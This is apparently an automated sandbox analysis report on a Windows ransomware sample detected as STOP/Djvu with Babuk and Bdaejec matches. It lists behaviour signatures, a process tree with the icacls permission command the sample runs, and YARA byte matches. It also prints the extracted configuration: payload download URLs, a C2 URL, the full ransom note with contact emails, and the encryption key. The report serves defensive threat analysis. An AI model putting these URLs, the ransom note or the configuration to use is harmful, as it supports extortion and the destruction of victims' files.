Edit tour

Windows Analysis Report
FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe

Overview

General Information

Sample name:	FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe
Analysis ID:	1480966
MD5:	801a00a6c89dcb9b7839a53eccfc8fc1
SHA1:	eb9ee227ca410890e51d954de4b63e1cca69f0ad
SHA256:	202259937df72d3e7e341ce852a48938616e0d98a091d976f5342bf82e132ce3
Tags:	exe
Infos:

Detection

Babuk, Bdaejec, Djvu

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Found malware configuration

Found ransom note / readme

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Yara detected Babuk Ransomware

Yara detected Bdaejec

Yara detected Djvu Ransomware

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Infects executable files (exe, dll, sys, html)

Injects a PE file into a foreign processes

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies existing user documents (likely ransomware behavior)

PE file contains section with special chars

PE file has a writeable .text section

Uses known network protocols on non-standard ports

Writes a notice file (html or txt) to demand a ransom

Writes many files with high entropy

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to dynamically determine API calls

Contains functionality to launch a program with higher privileges

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to query network adapater information

Contains functionality to read the PEB

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found evasive API chain (date check)

Found evasive API chain (may stop execution after checking a module file name)

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

One or more processes crash

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: CurrentVersion Autorun Keys Modification

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses cacls to modify the permissions of files

Uses code obfuscation techniques (call, push, ret)

Uses the system / local time for branch decision (may execute only at specific dates)

Yara signature match

Classification

Process Tree

System is w10x64

FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe (PID: 7328 cmdline: "C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe" MD5: 801A00A6C89DCB9B7839A53ECCFC8FC1)

lgYdZ.exe (PID: 7344 cmdline: C:\Users\user\AppData\Local\Temp\lgYdZ.exe MD5: F7D21DE5C4E81341ECCD280C11DDCC9A)

WerFault.exe (PID: 7792 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7344 -s 1604 MD5: C31336C1EFC2CCB44B4326EA793040F2)

FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe (PID: 7552 cmdline: "C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe" MD5: 801A00A6C89DCB9B7839A53ECCFC8FC1)

icacls.exe (PID: 7604 cmdline: icacls "C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9" /deny *S-1-1-0:(OI)(CI)(DE,DC) MD5: 2E49585E4E08565F52090B144062F97E)

FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe (PID: 7636 cmdline: "C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe" --Admin IsNotAutoStart IsNotTask MD5: 801A00A6C89DCB9B7839A53ECCFC8FC1)

FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe (PID: 7852 cmdline: "C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe" --Admin IsNotAutoStart IsNotTask MD5: 801A00A6C89DCB9B7839A53ECCFC8FC1)

FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe (PID: 7664 cmdline: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe --Task MD5: 801A00A6C89DCB9B7839A53ECCFC8FC1)

FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe (PID: 7996 cmdline: C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe --Task MD5: 801A00A6C89DCB9B7839A53ECCFC8FC1)

FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe (PID: 8156 cmdline: "C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe" --AutoStart MD5: 801A00A6C89DCB9B7839A53ECCFC8FC1)

FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe (PID: 4912 cmdline: "C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe" --AutoStart MD5: 801A00A6C89DCB9B7839A53ECCFC8FC1)

FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe (PID: 7224 cmdline: "C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe" --AutoStart MD5: 801A00A6C89DCB9B7839A53ECCFC8FC1)

lgYdZ.exe (PID: 6644 cmdline: C:\Users\user\AppData\Local\Temp\lgYdZ.exe MD5: F7D21DE5C4E81341ECCD280C11DDCC9A)

cmd.exe (PID: 1796 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\401a29f4.bat" " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 1868 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe (PID: 1152 cmdline: "C:\Users\user\AppData\Local\3fa849bb-86f2-41d3-b370-e843754750c9\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe" --AutoStart MD5: 801A00A6C89DCB9B7839A53ECCFC8FC1)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Babuk	Babuk Ransomware is a sophisticated ransomware compiled for several platforms. Windows and ARM for Linux are the most used compiled versions, but ESX and a 32bit old PE executable were observed over time. as well It uses an Elliptic Curve Algorithm (Montgomery Algorithm) to build the encryption keys.	No Attribution	http://chuongdong.com/reverse%20engineering/2021/01/03/BabukRansomware/ https://blog.cyble.com/2022/05/06/rebranded-babuk-ransomware-in-action-darkangels-ransomware-performs-targeted-attack/ https://blog.morphisec.com/babuk-ransomware-variant-major-attack https://blog.talosintelligence.com/2021/11/babuk-exploits-exchange.html https://chuongdong.com/reverse%20engineering/2021/01/16/BabukRansomware-v3/	https://malpedia.caad.fkie.fraunhofer.de/details/win.babuk

Name	Description	Attribution	Blogpost URLs	Link
STOP, Djvu	STOP Djvu Ransomware it is a ransomware which encrypts user data through AES-256 and adds one of the dozen available extensions as marker to the encrypted file's name. It is not used to encrypt the entire file but only the first 5 MB. In its original version it was able to run offline and, in that case, it used a hard-coded key which could be extracted to decrypt files.	No Attribution	https://angle.ankura.com/post/102het9/the-stop-ransomware-variant https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/ https://cybergeeks.tech/a-detailed-analysis-of-the-stop-djvu-ransomware/ https://cybleinc.com/2021/06/21/djvu-malware-of-stop-ransomware-family-back-with-new-variant/	https://malpedia.caad.fkie.fraunhofer.de/details/win.stop

Malware Configuration

Threatname: Djvu

{"Download URLs": ["http://zerit.top/dl/build2.exe", "http://fuyt.org/files/1/build3.exe"], "C2 url": "http://fuyt.org/test1/get.php", "Ransom note file": "_readme.txt", "Ransom note": "ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-0S984cQ4B3\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nsupport@sysmail.ch\r\n\r\nReserve e-mail address to contact us:\r\nsupportsys@airmail.cc\r\n\r\nYour personal ID:\r\n0430JIjdm", "Ignore Files": ["ntuser.dat", "ntuser.dat.LOG1", "ntuser.dat.LOG2", "ntuser.pol", ".sys", ".ini", ".DLL", ".dll", ".blf", ".bat", ".lnk", ".regtrans-ms", "C:\\SystemID\\", "C:\\Users\\Default User\\", "C:\\Users\\Public\\", "C:\\Users\\All Users\\", "C:\\Users\\Default\\", "C:\\Documents and Settings\\", "C:\\ProgramData\\", "C:\\Recovery\\", "C:\\System Volume Information\\", "C:\\Users\\%username%\\AppData\\Roaming\\", "C:\\Users\\%username%\\AppData\\Local\\", "C:\\Windows\\", "C:\\PerfLogs\\", "C:\\ProgramData\\Microsoft\\", "C:\\ProgramData\\Package Cache\\", "C:\\Users\\Public\\", "C:\\$Recycle.Bin\\", "C:\\$WINDOWS.~BT\\", "C:\\dell\\", "C:\\Intel\\", "C:\\MSOCache\\", "C:\\Program Files\\", "C:\\Program Files (x86)\\", "C:\\Games\\", "C:\\Windows.old\\", "D:\\Users\\%username%\\AppData\\Roaming\\", "D:\\Users\\%username%\\AppData\\Local\\", "D:\\Windows\\", "D:\\PerfLogs\\", "D:\\ProgramData\\Desktop\\", "D:\\ProgramData\\Microsoft\\", "D:\\ProgramData\\Package Cache\\", "D:\\Users\\Public\\", "D:\\$Recycle.Bin\\", "D:\\$WINDOWS.~BT\\", "D:\\dell\\", "D:\\Intel\\", "D:\\MSOCache\\", "D:\\Program Files\\", "D:\\Program Files (x86)\\", "D:\\Games\\", "E:\\Users\\%username%\\AppData\\Roaming\\", "E:\\Users\\%username%\\AppData\\Local\\", "E:\\Windows\\", "E:\\PerfLogs\\", "E:\\ProgramData\\Desktop\\", "E:\\ProgramData\\Microsoft\\", "E:\\ProgramData\\Package Cache\\", "E:\\Users\\Public\\", "E:\\$Recycle.Bin\\", "E:\\$WINDOWS.~BT\\", "E:\\dell\\", "E:\\Intel\\", "E:\\MSOCache\\", "E:\\Program Files\\", "E:\\Program Files (x86)\\", "E:\\Games\\", "F:\\Users\\%username%\\AppData\\Roaming\\", "F:\\Users\\%username%\\AppData\\Local\\", "F:\\Windows\\", "F:\\PerfLogs\\", "F:\\ProgramData\\Desktop\\", "F:\\ProgramData\\Microsoft\\", "F:\\Users\\Public\\", "F:\\$Recycle.Bin\\", "F:\\$WINDOWS.~BT\\", "F:\\dell\\", "F:\\Intel\\"], "Public Key": "-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAup7xLNZcQ4MZOSDTvBj6\\\\n7Shvgof4dZwAEFfM4Qn6EvfybMldng8cq4I8XKCGgbb4qleJAF7W2dmJHdLsc5du\\\\nn8FhrNPyozIM2b3b+aIVTP\\/lJE4DFAuzoGoNy\\/r7ZMMCouk+kV+0YBL\\/H9AD2HSx\\\\ntpYMoPkxkjt02aJScPkgYcIZKsj8LUimPmEy34gW\\/wIkqvbMYKXtNnao\\/qED9CFR\\\\n6UBM46bPFhHq3QpKPr6sdTg4kaQi\\/ZLueJvFVZ2raXOcEA1TunnUmTVfBP6Uboip\\\\nfrCky0fkvCyEHfX6+Sizo50\\/glCm7dKNyNlXe3DaKCDvma36A+5uUwe+8X2hPKdj\\\\nJQIDAQAB\\\\n-----END PUBLIC KEY-----"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
0000000D.00000002.2641348272.000000000075B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000007.00000002.1543623242.000000000216F000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000011.00000002.1699513573.0000000002168000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000004.00000002.1457403604.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000004.00000002.1457403604.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000004.00000002.1457403604.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000000.00000002.1442694289.0000000002204000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000011.00000002.1699561584.0000000002200000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000011.00000002.1699561584.0000000002200000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0000000F.00000002.1618956623.00000000021EF000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000006.00000002.1512737125.0000000002390000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000006.00000002.1512737125.0000000002390000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000006.00000002.1512672920.00000000022FD000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000007.00000002.1543769682.0000000002210000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000007.00000002.1543769682.0000000002210000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0000000F.00000002.1619016276.0000000002290000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0000000F.00000002.1619016276.0000000002290000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0000000D.00000002.2639768235.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0000000D.00000002.2639768235.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0000000D.00000002.2639768235.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000013.00000002.1710942634.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000013.00000002.1710942634.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000013.00000002.1710942634.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000010.00000002.1631819718.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000010.00000002.1631819718.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000010.00000002.1631819718.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
0000000B.00000002.2648498274.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0000000B.00000002.2648498274.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0000000B.00000002.2648498274.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000000.00000002.1442806045.00000000022A0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000000.00000002.1442806045.00000000022A0000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
Process Memory Space: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe PID: 7328	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe PID: 7328	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x4b429:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: lgYdZ.exe PID: 7344	JoeSecurity_Bdaejec	Yara detected Bdaejec	Joe Security
Process Memory Space: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe PID: 7552	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe PID: 7552	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x33803:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe PID: 7636	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe PID: 7636	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x38159:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe PID: 7664	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe PID: 7664	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x49883:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe PID: 7852	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe PID: 7852	JoeSecurity_babuk	Yara detected Babuk Ransomware	Joe Security
Process Memory Space: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe PID: 7852	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x693f7:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe PID: 7996	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe PID: 7996	JoeSecurity_babuk	Yara detected Babuk Ransomware	Joe Security
Process Memory Space: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe PID: 7996	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x50f6f:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe PID: 8156	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe PID: 8156	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x3b3f2:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe PID: 4912	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe PID: 4912	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x47b9c:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe PID: 7224	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe PID: 7224	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x45a0b:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: lgYdZ.exe PID: 6644	JoeSecurity_Bdaejec	Yara detected Bdaejec	Joe Security
